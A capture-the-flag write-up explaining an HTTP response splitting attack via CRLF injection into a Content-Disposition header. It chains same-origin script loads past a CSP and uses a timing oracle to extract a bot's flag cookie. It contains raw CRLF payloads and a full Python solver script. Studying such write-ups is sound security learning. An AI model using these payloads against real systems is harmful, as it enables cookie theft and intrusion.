How I exploited HTTP response splitting to steal cookies from an isolated bot using only time measurements
The Challenge That Said "No"
When I first landed on the No Notes hehe challenge, I was greeted with a peculiar message:
> "Welcome to the secure notes application. We take security very seriously. After discovering XSS vulnerabilities, we have disabled the dynamic notes feature."
The landing page linked to a single static file: /view/note.txt?name=note.txt. That was it. No forms, no inputs, no obvious attack surface. Just a long-winded text file explaining why the developers decided to remove all features to achieve "perfect security."
I started by reading the bot code provided to understand what is going on:
const playwright = require('playwright');
const express = require('express');
const app = express();
app.use(express.json());
const PORT = 3000;
const FLAG = process.env.FLAG || "Hackena{test_flag_123}";
const TARGET_DOMAIN = process.env.TARGET_DOMAIN || "localhost"; // web-nonotes:5001
async function visit(url) {
let browser = null;
try {
console.log(`Visiting ${url}`);
browser = await playwright.chromium.launch({
args: ['--no-sandbox', '--disable-setuid-sandbox']
});
const context = await browser.newContext();
const cookie = {
name: 'flag',
value: FLAG,
domain: TARGET_DOMAIN,
path: '/',
httpOnly: false,
secure: false,
sameSite: 'Lax'
};
await context.addCookies([cookie]);
const page = await context.newPage();
await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 7000 });
await page.waitForLoadState('networkidle', { timeout: 7000 }).catch(() => {});
await page.waitForTimeout(1000);
await browser.close();
console.log(`Visited ${url}`);
} catch (e) {
console.log(`Error visiting ${url}: ${e.message}`);
if (browser) await browser.close();
}
}
app.post('/visit', async (req, res) => {
const url = req.body.url;
if (!url) {
return res.status(400).send('Missing url');
}
if (!url.startsWith('http')) {
return res.status(400).send('Invalid URL protocol');
}
await visit(url);
res.send('done');
});
app.listen(PORT, () => {
console.log(`Bot listening on port ${PORT}`);
});Bot Visit Function
async function visit(url) {
let browser = null;
try {
console.log(`Visiting ${url}`);
browser = await playwright.chromium.launch({
args: ['--no-sandbox', '--disable-setuid-sandbox']
});
const context = await browser.newContext();The bot uses Playwright Chromium to visit attacker-controlled URLs.
Cookie Injection
const cookie = {
name: 'flag',
value: FLAG,
domain: TARGET_DOMAIN,
path: '/',
httpOnly: false, // ← JavaScript can read this!
secure: false,
sameSite: 'Lax'
};
await context.addCookies([cookie]);Key Findings:
- Cookie name is
flagcontaining the actual flag value. httpOnly: falsemeans JavaScript can access it viadocument.cookieTARGET_DOMAINis environment-controlled (affects which origin sees the cookie)sameSite: 'Lax'prevents the cookie from being sent on cross-site subrequests (like images or frames), but it is sent when the user navigates to the target site.
Bot Timing Behavior
const page = await context.newPage();
await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 7000 });
await page.waitForLoadState('networkidle', { timeout: 7000 }).catch(() => {});
await page.waitForTimeout(1000);
await browser.close();- The bot navigates to your provided URL and waits until the basic HTML is parsed (
domcontentloaded). It has a 7-second hard limit. - If your page is slow or contains a script that hangs the parser, the bot will sit here for the full 7 seconds before moving to the next line.
- The bot waits until there are no more active network requests (images, scripts, API calls) for at least 500ms. Again, it has a 7-second timeout. The
.catch(() => {})ensures that even if the network never goes quiet, the script doesn't crash; it just moves on. - This is a goldmine for Side-Channel Timing Attacks. By forcing the bot to make many slow network requests (e.g., requesting a non-existent image 1,000 times), an attacker can reliably keep the bot "busy" for the full 7 seconds.
await page.waitForTimeout(1000);
await browser.close();- A forced 1-second pause before the browser instance is destroyed.
- This ensures any final JavaScript execution (like a
fetchsending the flag to your server) has a moment to complete before the "victim" disappears.
After understanding the bot code clearly I decided to observe the request and the response for the /view/note.txt?name=note.txt endpoint on the burp:

I noticed some important headers:
Content-Disposition: inline; filename="note.txt"Content-Type: text/plain; charset=utf-8Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self';
There is an important thing I noticed the filename parameter comes from the name parameter and no sanitization visiable. Hmm User input in a response header? this is a huge proof about CRLF Injection existence.
What's CRLF Injection?
CRLF stands for Carriage Return (\r, %0D) and Line Feed (\n,%0A) — the special characters that separate HTTP headers. If an application puts untrusted input into a header without sanitization, an attacker can inject new headers or even control the response body entirely.
Come back here! let's ensure we are right, let me inject this
?name=%22%0D%0AX-Pwned:%20true%0D%0A :

hehehe PWNED. The server was blindly placing my input into the header. Now the question became: How far can I push this?
Response Splitting: Taking Full Control
A CRLF injection becomes truly dangerous when you can inject not just headers, but an entirely new response body. The trick is using Transfer-Encoding: chunked.
HTTP chunked encoding lets you specify the exact size of your content, then terminate the response. Anything after your chunk — like the original note.txt file — gets ignored by the browser.
We want to take full control of the browser to execute malicious code like steal a cookie, because XSS payloads are filtered, we use the response splitting technique.
Let's build a test payload:
name="%0D%0ATransfer-Encoding: chunked%0D%0AContent-Type: text/html%0D%0A%0D%0A3%0D%0Aabc%0D%0A0%0D%0A%0D%0APayload Structure:
%0D%0A—>\r\n→ Close theContent-Dispositionheader.- Inject
Transfer-Encoding: chunked - Change
Content-Typetotext/html %0D%0A— Empty line (end of headers)3— Chunk size: 3 bytesabc— The actualHTML/JScontent0— Terminating chunk (signals end of response)
Let's see if it works:

Done I could print the abc as a HTML. If you stuck why I write this specific structure of the payload and how this request handled by the browser:
Think of the browser like a person reading a script.
- The Hijack: Normally, the browser waits for the server to finish sending the whole file. But because you injected
Transfer-Encoding: chunked, the browser stops looking at the total size and starts reading chunks. - The Execution: Since you changed the
Content-Typetotext/html, the browser doesn't download a file—it opens a page. It reads your3bytes ofabc(or your JS payload) and executes it immediately. - The Clean Exit (The 0): This is the best part. The browser sees that
0and thinks, the server is finished! I'll stop reading now.It completely ignores the rest of the real file that the server tries to send.
Now let's try making an alert using →
http://target.com/view/note.txt?name=%0D%0AContent-Type: text/html%0D%0A%0D%0A<script>alert(document.cookie)</script>

Wait what ?! why this not working. I will take a look again in the response.
I remember there CSP header in the response I noticed:
Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self';
That means:
- Can't load external resources.
- Can't use inline JavaScript.
- Can load scripts from same origin (
self).
So I'm injecting the response from the same domain, doesn't that count as 'self' ?
The Two-Stage Attack
This is where it got creative. I needed to chain two CRLF injections:
Stage 1: Inject an HTML page
<html><body>
<script src="/view/note.txt?name=[CRLF-PAYLOAD-2]"></script>
</body></html>Stage 2:Make that script src URL return JavaScript instead of text
// My malicious JavaScript here
document.cookie // Flag is here!Because both responses come from the same origin, CSP's script-src 'self' allows the execution. Now we know how will be our attack chain look like.
Diving to the bot and the flag stage
The challenge provided a /report endpoint where you could submit URLs for a bot to visit. Looking at the bot source code:
const cookie = {
name: 'flag',
value: FLAG,
domain: TARGET_DOMAIN,
httpOnly: false, // ← Not HttpOnly! JS can read it
secure: false,
sameSite: 'Lax'
};
await context.addCookies([cookie]);
await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 7000 });The flag was stored as a cookie. Good news: httpOnly: false means JavaScript can access it via document.cookie.
But here's the catch: the bot has no internet access. The challenge description explicitly stated this. So even though I could execute JavaScript in the bot's context, I couldn't just fetch() the cookie to my server.
The Timing Oracle
If I can't send data out directly, maybe I can encode information in time. The idea is simple but powerful:
if (document.cookie.length > 50) {
// Busy-loop for 6 seconds
var start = Date.now();
while(Date.now() - start < 6000) {}
}When I submit this to /report, I can measure how long the bot takes to respond:
- If the condition is true: Bot blocks for 6 seconds → response takes ~7–8s
- If the condition is false: Bot returns quickly → response takes ~1–2s
This is called a timing side-channel. By asking yes/no questions about the cookie, I can extract it one bit at a time.
To find the cookie length we can use the binary search technique:
def get_cookie_length(base):
lo, hi = 1, 200
while lo < hi:
mid = (lo + hi + 1) // 2
# Test: is length >= mid?
ok, elapsed = oracle(f'document.cookie.length>={mid}', base)
if ok:
lo = mid
else:
hi = mid - 1
return loEach oracle call takes 6–8 seconds, but binary search means I only need ~8 queries to find a length between 1–200.
Character Extraction
I would extract the characters by the same way (binary search) but it took too much time and hanged the sever so I asked Claude to optimize the code.
# Stage 1: Binary search (3-4 queries)
while hi - lo > 23:
mid = (lo + hi) // 2
ok = oracle(f'document.cookie.charCodeAt({pos})>{mid}', base)
if ok: lo = mid + 1
else: hi = mid
# Stage 2: Parallel equality (5 workers, ~5s per char)
candidates = [c for c in "abcdefg...xyz0123..." if lo <= ord(c) <= hi]
results = oracle_parallel_batch([
f'document.cookie.charCodeAt({pos})=={ord(c)}'
for c in candidates
], base)Standard binary search was too slow and put too much stress on the server, so I switched to a hybrid approach to speed up the flag extraction:
- The Bracket (Binary Search): First, I used binary search to "zoom in" on the character. Instead of checking every possibility, I asked the bot a few "Higher or Lower?" questions. This quickly narrowed each character down from 128 possibilities to a tiny "bracket" of about 20 candidates.
- The Blast (Parallel Testing): Once the range was small enough, I stopped the binary search and tested all remaining candidates at once. By sending these requests in parallel, I didn't have to wait for them one by one.
- The Result: I simply looked for the "Slowest Response." The one request that triggered the 7-second delay told me exactly which character was correct, while the wrong guesses finished almost instantly.
The Final attack Chain
The final exploit flow:
1. Verify server accepts CRLF injection (no bot needed).
2. Test JavaScript execution with making an alert.
3. Find which domain/origin has the cookie
4. Extract cookie length using binary search (~8 queries)
5. Extract each character using hybrid method (~50 seconds per char)
The Solver Build
Configuration
Key constants that control the exploit:
REPORT = 'https://web-nonotes.hackena-labs.com/report'
EXTERNAL_BASE = 'https://web-nonotes.hackena-labs.com'
INTERNAL_BASE = 'http://web-nonotes:5001'
LOCALHOST = 'http://localhost:5001'
ORACLE_DELAY = 6 # seconds JS blocks when condition is TRUE
THRESHOLD = 4 # seconds to distinguish TRUE (>4s) vs FALSE (<4s)
BOT_UP_THRESH = 1.5 # seconds; bot is UP when any URL takes longer than thisURL Builders
Stage 2: JavaScript Response Builder
def build_stage2(js_code):
"""
Build the Stage 2 CRLF-injection URL.
Injects: Transfer-Encoding: chunked + Content-Type: application/javascript
Body: exactly js_code bytes (Transfer-Encoding truncates trailing note.txt).
"""
size_hex = format(len(js_code.encode('utf-8')), 'x')
injection = (
'"\r\n'
'Transfer-Encoding: chunked\r\n'
'Content-Type: application/javascript\r\n'
'\r\n'
f'{size_hex}\r\n'
f'{js_code}\r\n'
'0\r\n'
'\r\n'
)
return '/view/note.txt?name=' + urllib.parse.quote(injection, safe='')Stage 1: HTML Response Builder
def build_stage1(js_code, base):
"""
Build the Stage 1 CRLF-injection URL.
Injects: Transfer-Encoding: chunked + Content-Type: text/html
Body: HTML page that loads Stage 2 as <script src>.
"""
s2_rel = build_stage2(js_code) # relative URL (same-origin for CSP)
html = (f'<html><body>'
f'<script src="{s2_rel}"></script>'
f'</body></html>')
size_hex = format(len(html.encode('utf-8')), 'x')
injection = (
'"\r\n'
'Transfer-Encoding: chunked\r\n'
'Content-Type: text/html\r\n'
'\r\n'
f'{size_hex}\r\n'
f'{html}\r\n'
'0\r\n'
'\r\n'
)
return base + '/view/note.txt?name=' + urllib.parse.quote(injection, safe='')Important detail: Stage 2 URL appears double-encoded while building Stage 1, then decoded in steps by server/browser, ending with effective CRLF at Stage 2 request.
Oracle JavaScript Generator
def oracle_js(condition):
"""Build JS that blocks for ORACLE_DELAY seconds if condition is truthy."""
return (f'if({condition}){{'
f'var t=Date.now();'
f'while(Date.now()-t<{ORACLE_DELAY}000){{}}'
f'}}')Report Function
def report(url, timeout=30):
"""Submit URL to /report and return (elapsed_seconds, response_text)."""
t0 = time.time()
try:
r = SESSION.post(REPORT, data={'url': url}, timeout=timeout)
return time.time() - t0, r.text
except requests.Timeout:
return time.time() - t0, 'TIMEOUT'
except Exception as e:
return time.time() - t0, f'ERR:{e}'Oracle Function
def oracle(condition, base):
"""
Returns (bool_result, elapsed_seconds).
TRUE → elapsed > THRESHOLD (JS blocked for ORACLE_DELAY s)
FALSE → elapsed < THRESHOLD (JS returned immediately)
"""
js = oracle_js(condition)
url = build_stage1(js, base)
elapsed, _ = report(url, timeout=10)
return elapsed > THRESHOLD, elapsedParallel Batch Optimization
def oracle_parallel_batch(conditions, base):
"""Execute multiple oracle calls in parallel for speed."""
results = {}
with ThreadPoolExecutor(max_workers=5) as executor:
futures = {executor.submit(oracle, cond, base): cond for cond in conditions}
for future in as_completed(futures):
cond = futures[future]
try:
results[cond] = future.result()
except Exception as e:
results[cond] = (False, 0)
return resultsVerify Server Response Splitting
def verify_server():
"""
Verify Stage 1 and Stage 2 URLs work correctly at the HTTP level.
Does NOT require the bot to be running.
"""
# Test Stage 2: CRLF → application/javascript + chunked body
s2_url = EXTERNAL_BASE + build_stage2('alert(1337)')
r = requests.get(s2_url, timeout=15)
s2_ct = r.headers.get('Content-Type', '')
s2_body = r.content
s2_ok = 'application/javascript' in s2_ct and s2_body == b'alert(1337)'
# Test Stage 1: CRLF → text/html + chunked HTML body
s1_url = build_stage1('alert(1337)', EXTERNAL_BASE)
r = requests.get(s1_url, timeout=15)
s1_ct = r.headers.get('Content-Type', '')
s1_body = r.text
s1_ok = 'text/html' in s1_ct and '<script src=' in s1_body
return s2_ok and s1_okConfirm JavaScript Execution
def confirm_execution():
"""
Test if JS executes in the bot by submitting for(;;){}.
for(;;){} blocks forever → page.goto timeout at 7s → bot responds in ~8-9s.
"""
for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:
url = build_stage1('for(;;){}', base)
t, resp = report(url, timeout=25)
if t > 7: # Timeout indicates JS executed and blocked
return base
return NoneFind Cookie Domain
def find_cookie_domain(exec_base):
"""Test each candidate base URL to find where document.cookie is non-empty."""
for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:
result, t = oracle('document.cookie.length>0', base)
if result:
return base
return exec_base
Get Cookie Length
def get_cookie_length(base):
"""Binary search for document.cookie.length."""
lo, hi = 1, 200
while lo < hi:
mid = (lo + hi + 1) // 2
ok, t = oracle(f'document.cookie.length>={mid}', base)
if ok:
lo = mid
else:
hi = mid - 1
return loExtract Single Character
def extract_char(pos, base, extracted_prefix=""):
"""Extract char at position pos using binary search + parallel batch finish."""
FLAG_CHARS = "abcdefghijklmnopqrstuvwxyz0123456789_{}=-ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lo, hi = 32, 126
# Stage 1: binary search to narrow range to ≤24 chars
while hi - lo > 23:
mid = (lo + hi) // 2
ok, _ = oracle(f'document.cookie.charCodeAt({pos})>{mid}', base)
if ok:
lo = mid + 1
else:
hi = mid
# Stage 2: parallel equality check on all candidates
candidates = [c for c in FLAG_CHARS if lo <= ord(c) <= hi]
if candidates:
batch_conditions = [f'document.cookie.charCodeAt({pos})=={ord(c)}'
for c in candidates]
results = oracle_parallel_batch(batch_conditions, base)
for cond, (found, _) in results.items():
if found:
for c in candidates:
if f'=={ord(c)}' in cond:
return c
# Stage 3: fallback binary search if char not in FLAG_CHARS
while lo < hi:
mid = (lo + hi) // 2
ok, _ = oracle(f'document.cookie.charCodeAt({pos})>{mid}', base)
if ok:
lo = mid + 1
else:
hi = mid
return chr(lo)Extract Full Cookie
def extract_cookie(length, base):
"""Extract document.cookie — 2 chars in parallel for ~2x speedup."""
PARALLEL = 2
cookie = ['?'] * length
for batch_start in range(0, length, PARALLEL):
batch_end = min(batch_start + PARALLEL, length)
with ThreadPoolExecutor(max_workers=PARALLEL) as executor:
futures = {executor.submit(extract_char, i, base, ""): i
for i in range(batch_start, batch_end)}
for future in as_completed(futures):
i = futures[future]
cookie[i] = future.result()
return ''.join(cookie)The Full Solver
import requests, time, urllib.parse, sys, argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
# ── Connection Pool (reuse TCP+TLS across all oracle calls) ───────────────────
SESSION = requests.Session()
SESSION.mount('https://', requests.adapters.HTTPAdapter(
pool_connections=8, pool_maxsize=8, max_retries=1))
# ── Config ────────────────────────────────────────────────────────────────────
REPORT = 'https://web-nonotes.hackena-labs.com/report'
EXTERNAL_BASE = 'https://web-nonotes.hackena-labs.com'
INTERNAL_BASE = 'http://web-nonotes:5001'
LOCALHOST = 'http://localhost:5001'
ORACLE_DELAY = 6 # seconds JS blocks when condition is TRUE
THRESHOLD = 4 # seconds to distinguish TRUE (>4s) vs FALSE (<4s)
BOT_UP_THRESH = 1.5 # seconds; bot is UP when any URL takes longer than this
# ── URL Builders ──────────────────────────────────────────────────────────────
def build_stage2(js_code):
"""
Build the Stage 2 CRLF-injection URL.
Injects: Transfer-Encoding: chunked + Content-Type: application/javascript
Body: exactly js_code bytes (Transfer-Encoding truncates trailing note.txt).
"""
size_hex = format(len(js_code.encode('utf-8')), 'x')
injection = (
'"\r\n'
'Transfer-Encoding: chunked\r\n'
'Content-Type: application/javascript\r\n'
'\r\n'
f'{size_hex}\r\n'
f'{js_code}\r\n'
'0\r\n'
'\r\n'
)
return '/view/note.txt?name=' + urllib.parse.quote(injection, safe='')
def build_stage1(js_code, base):
"""
Build the Stage 1 CRLF-injection URL.
Injects: Transfer-Encoding: chunked + Content-Type: text/html
Body: HTML page that loads Stage 2 as <script src>.
DOUBLE-ENCODING NOTE:
Stage 1 injection is URL-encoded with safe='', so '%' → '%25'.
Stage 2's %0D%0A becomes %250D%250A in Stage 1's query string.
Flask decodes Stage 1 once → Stage 2 URL in HTML has %0D%0A.
Chrome fetches Stage 2 with %0D%0A → Flask decodes again → CRLF injection.
"""
s2_rel = build_stage2(js_code) # relative URL (same-origin for CSP)
html = (f'<html><body>'
f'<script src="{s2_rel}"></script>'
f'</body></html>')
size_hex = format(len(html.encode('utf-8')), 'x')
injection = (
'"\r\n'
'Transfer-Encoding: chunked\r\n'
'Content-Type: text/html\r\n'
'\r\n'
f'{size_hex}\r\n'
f'{html}\r\n'
'0\r\n'
'\r\n'
)
return base + '/view/note.txt?name=' + urllib.parse.quote(injection, safe='')
def oracle_js(condition):
"""Build JS that blocks for ORACLE_DELAY seconds if condition is truthy."""
return (f'if({condition}){{'
f'var t=Date.now();'
f'while(Date.now()-t<{ORACLE_DELAY}000){{}}'
f'}}')
# ── HTTP Helpers ──────────────────────────────────────────────────────────────
def report(url, timeout=30):
"""Submit URL to /report and return (elapsed_seconds, response_text)."""
t0 = time.time()
try:
r = SESSION.post(REPORT, data={'url': url}, timeout=timeout)
return time.time() - t0, r.text
except requests.Timeout:
return time.time() - t0, 'TIMEOUT'
except Exception as e:
return time.time() - t0, f'ERR:{e}'
def oracle(condition, base):
"""
Returns (bool_result, elapsed_seconds).
TRUE → elapsed > THRESHOLD (JS blocked for ORACLE_DELAY s)
FALSE → elapsed < THRESHOLD (JS returned immediately)
Uses shorter timeout to detect false cases faster.
"""
js = oracle_js(condition)
url = build_stage1(js, base)
elapsed, _ = report(url, timeout=10)
return elapsed > THRESHOLD, elapsed
_oracle_lock = threading.Lock()
def oracle_parallel_batch(conditions, base):
"""
Execute multiple oracle calls in parallel.
Returns dict: {condition -> (result, elapsed)}
"""
results = {}
with ThreadPoolExecutor(max_workers=5) as executor:
futures = {executor.submit(oracle, cond, base): cond for cond in conditions}
for future in as_completed(futures):
cond = futures[future]
try:
results[cond] = future.result()
except Exception as e:
results[cond] = (False, 0)
return results
# ── Bot Status ────────────────────────────────────────────────────────────────
def bot_is_up():
"""Bot is UP when a simple URL takes >BOT_UP_THRESH seconds."""
t, _ = report(EXTERNAL_BASE + '/view/note.txt', timeout=10)
return t > BOT_UP_THRESH, t
def wait_for_bot(max_minutes=120):
"""Block until bot is up. Returns True if found, False on timeout."""
print(f"[~] Waiting for bot (checking every 30s, max {max_minutes}min)...")
deadline = time.time() + max_minutes * 60
check = 0
while time.time() < deadline:
up, t = bot_is_up()
check += 1
ts = time.strftime('%H:%M:%S')
if up:
print(f"\n[{ts}] Bot UP! ({t:.2f}s on plain URL)")
return True
print(f"[{ts}] #{check} Bot down ({t:.2f}s), retrying in 30s...", end='\r', flush=True)
time.sleep(30)
print(f"\n[!] Bot never came up after {max_minutes} minutes.")
return False
# ── Verification (no bot needed) ──────────────────────────────────────────────
def verify_server():
"""
Verify Stage 1 and Stage 2 URLs work correctly at the HTTP level.
Does NOT require the bot to be running.
"""
print("=" * 62)
print("SERVER-SIDE VERIFICATION (no bot needed)")
print("=" * 62)
ok = True
# Stage 2
print("\n[Stage 2] CRLF → application/javascript + chunked body")
s2_url = EXTERNAL_BASE + build_stage2('alert(1337)')
r = requests.get(s2_url, timeout=15)
s2_ct = r.headers.get('Content-Type', '')
s2_body = r.content
s2_ok = 'application/javascript' in s2_ct and s2_body == b'alert(1337)'
print(f" Content-Type : {s2_ct}")
print(f" Body : {s2_body!r} ({len(s2_body)} bytes)")
print(f" Status : {'✓ PASS' if s2_ok else '✗ FAIL'}")
if not s2_ok:
ok = False
# Stage 1
print("\n[Stage 1] CRLF → text/html + chunked HTML body")
s1_url = build_stage1('alert(1337)', EXTERNAL_BASE)
r = requests.get(s1_url, timeout=15)
s1_ct = r.headers.get('Content-Type', '')
s1_body = r.text
s1_ok = 'text/html' in s1_ct and '<script src=' in s1_body and len(r.content) < 300
print(f" Content-Type : {s1_ct}")
print(f" Body length : {len(r.content)} bytes (expected ~200)")
print(f" Has <script> : {'yes' if '<script src=' in s1_body else 'NO'}")
csp = r.headers.get('Content-Security-Policy', '')
print(f" CSP : {csp[:80]}")
print(f" Status : {'✓ PASS' if s1_ok else '✗ FAIL'}")
if not s1_ok:
ok = False
# Script src URL in the HTML (must have %0D%0A not %250D%250A)
import re
m = re.search(r'<script src="([^"]+)"', s1_body)
if m:
src = m.group(1)
has_crlf_encoded = '%0D%0A' in src or '%0d%0a' in src
print(f"\n[Stage 2 src inside HTML]")
print(f" src (first 100): {src[:100]}")
print(f" Has %0D%0A : {'yes ✓' if has_crlf_encoded else 'NO ✗ (double-encoded bug!)'}")
if not has_crlf_encoded:
ok = False
print(f"\n{'[✓] All server checks PASS' if ok else '[✗] SOME CHECKS FAILED'}")
return ok
# ── Exploit Steps ─────────────────────────────────────────────────────────────
def confirm_execution():
"""
Test if JS executes in the bot by submitting for(;;){}.
for(;;){} blocks forever → page.goto timeout at 7s → bot responds in ~8-9s.
Returns the base URL where JS executes, or None.
"""
print("\n[Step 1] Confirming JS execution")
print(" (for(;;){} should block domcontentloaded → bot takes ~8s)")
for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:
url = build_stage1('for(;;){}', base)
t, resp = report(url, timeout=25)
symbol = '✓' if t > 7 else '~' if t > 2 else '✗'
print(f" [{symbol}] {base:<42} {t:.2f}s")
if t > 7:
print(f" → JS executes on {base}")
return base
print(" [!] JS not confirmed on any base URL.")
print(" Possible causes:")
print(" - Bot is DOWN (all times < 1.5s?)")
print(" - Chrome stripping %0D%0A from script src URLs")
print(" - CRLF injection blocked by WAF")
return None
def find_cookie_domain(exec_base):
"""
Test each candidate base URL to find where document.cookie is non-empty.
"""
print("\n[Step 2] Finding cookie domain")
for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:
result, t = oracle('document.cookie.length>0', base)
symbol = '✓' if result else '✗'
print(f" [{symbol}] cookie.length>0 on {base:<42} ({t:.2f}s)")
if result:
print(f" → Cookie found on {base}")
return base
print(" [!] Cookie empty on all domains. Trying exec_base as fallback.")
return exec_base
def get_cookie_length(base):
"""Binary search for document.cookie.length."""
print("\n[Step 3] Finding cookie length (binary search)")
lo, hi = 1, 200
while lo < hi:
mid = (lo + hi + 1) // 2
ok, t = oracle(f'document.cookie.length>={mid}', base)
sym = '≥' if ok else '<'
print(f" len {sym} {mid:3d} ({t:.2f}s)")
if ok:
lo = mid
else:
hi = mid - 1
print(f" → length = {lo}")
return lo
def extract_char(pos, base, extracted_prefix=""):
"""Extract char at position pos using binary search + parallel batch finish."""
# Frequency-ordered charset for CTF flags (most likely first)
FLAG_CHARS = "abcdefghijklmnopqrstuvwxyz0123456789_{}=-ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lo, hi = 32, 126
# Stage 1: binary search to narrow range to ≤24 chars (2-3 calls)
while hi - lo > 23:
mid = (lo + hi) // 2
ok, _ = oracle(f'document.cookie.charCodeAt({pos})>{mid}', base)
if ok:
lo = mid + 1
else:
hi = mid
# Stage 2: parallel equality check on all candidate chars (up to 24)
# With 5 workers, 24 tasks = ~5 rounds; only 1 TRUE (6s), rest FALSE (2s)
# Wall time: ~4×2 + 1×6 = 14s — faster than 5 sequential binary steps (~22s)
candidates = [c for c in FLAG_CHARS if lo <= ord(c) <= hi]
if candidates:
batch_conditions = [f'document.cookie.charCodeAt({pos})=={ord(c)}' for c in candidates]
results = oracle_parallel_batch(batch_conditions, base)
for cond, (found, _) in results.items():
if found:
for c in candidates:
if f'=={ord(c)}' in cond:
return c
# Stage 3: fallback binary search for chars not in FLAG_CHARS
while lo < hi:
mid = (lo + hi) // 2
ok, _ = oracle(f'document.cookie.charCodeAt({pos})>{mid}', base)
if ok:
lo = mid + 1
else:
hi = mid
return chr(lo)
def extract_cookie(length, base):
"""Extract document.cookie — 2 chars in parallel for ~2x speedup."""
PARALLEL = 2 # extract 2 chars simultaneously
print(f"\n[Step 4] Extracting {length}-char cookie ({PARALLEL} chars parallel, 5 workers/batch)")
cookie = ['?'] * length
start_time = time.time()
for batch_start in range(0, length, PARALLEL):
batch_end = min(batch_start + PARALLEL, length)
elapsed_total = time.time() - start_time
if batch_start > 0:
eta_remaining = elapsed_total * (length - batch_start) / batch_start
eta_str = f" ETA: {eta_remaining/60:.1f}min"
else:
eta_str = ""
print(f"\n[{batch_start:3d}/{length}] Extracting chars {batch_start}-{batch_end-1}...{eta_str}", flush=True)
with ThreadPoolExecutor(max_workers=PARALLEL) as executor:
futures = {executor.submit(extract_char, i, base, ""): i
for i in range(batch_start, batch_end)}
for future in as_completed(futures):
i = futures[future]
cookie[i] = future.result()
print(f" [{i:3d}] '{cookie[i]}'", flush=True)
partial = ''.join(cookie[:batch_end])
print(f" → {partial!r}", flush=True)
return ''.join(cookie)
# ── Main ──────────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(description='No Notes hehe – CTF Solver')
parser.add_argument('--check', action='store_true', help='Server-side check only (no bot)')
parser.add_argument('--wait', action='store_true', help='Wait for bot then auto-exploit')
parser.add_argument('--test-exec', action='store_true', help='Test JS execution only')
parser.add_argument('--no-wait', action='store_true', help='Skip bot-up check, run immediately')
args = parser.parse_args()
# ── Mode: server-side check only ──
if args.check:
verify_server()
return
# ── Mode: test execution only ──
if args.test_exec:
up, t = bot_is_up()
if not up:
print(f"[!] Bot appears DOWN ({t:.2f}s). Use --no-wait to skip check.")
if not args.no_wait:
sys.exit(1)
confirm_execution()
return
# ── Run verification first ──
print("\n[0] Verifying server-side URLs...")
if not verify_server():
print("[!] Server checks failed. CRLF injection may be patched.")
sys.exit(1)
# ── Wait for bot if needed ──
if args.wait:
if not wait_for_bot():
sys.exit(1)
elif not args.no_wait:
up, t = bot_is_up()
if not up:
print(f"\n[!] Bot appears DOWN ({t:.2f}s for plain URL).")
print(" Run with --wait to keep trying, or --no-wait to force-run.")
sys.exit(1)
print(f"[✓] Bot UP ({t:.2f}s)")
# ── Full exploit ──
exec_base = confirm_execution()
if exec_base is None:
print("\n[!] Cannot confirm JS execution. Exploit cannot proceed.")
print(" Possible issues: bot DOWN, Chrome URL sanitization, CSP")
sys.exit(1)
base = find_cookie_domain(exec_base)
length = get_cookie_length(base)
if length == 0:
print("[!] Cookie is empty!")
sys.exit(1)
cookie = extract_cookie(length, base)
print("\n" + "═" * 60)
print(f"[+] FLAG COOKIE: {cookie}")
print("═" * 60)
if __name__ == '__main__':
main()Run it using → python3 solver.py and wait about 30 min for full flag
Final Notes The challenge is a strong example that removing a feature does not remove all attack surface if response construction still trusts user input. The critical sink here is header generation, not HTML template rendering.
Happy Hacking :)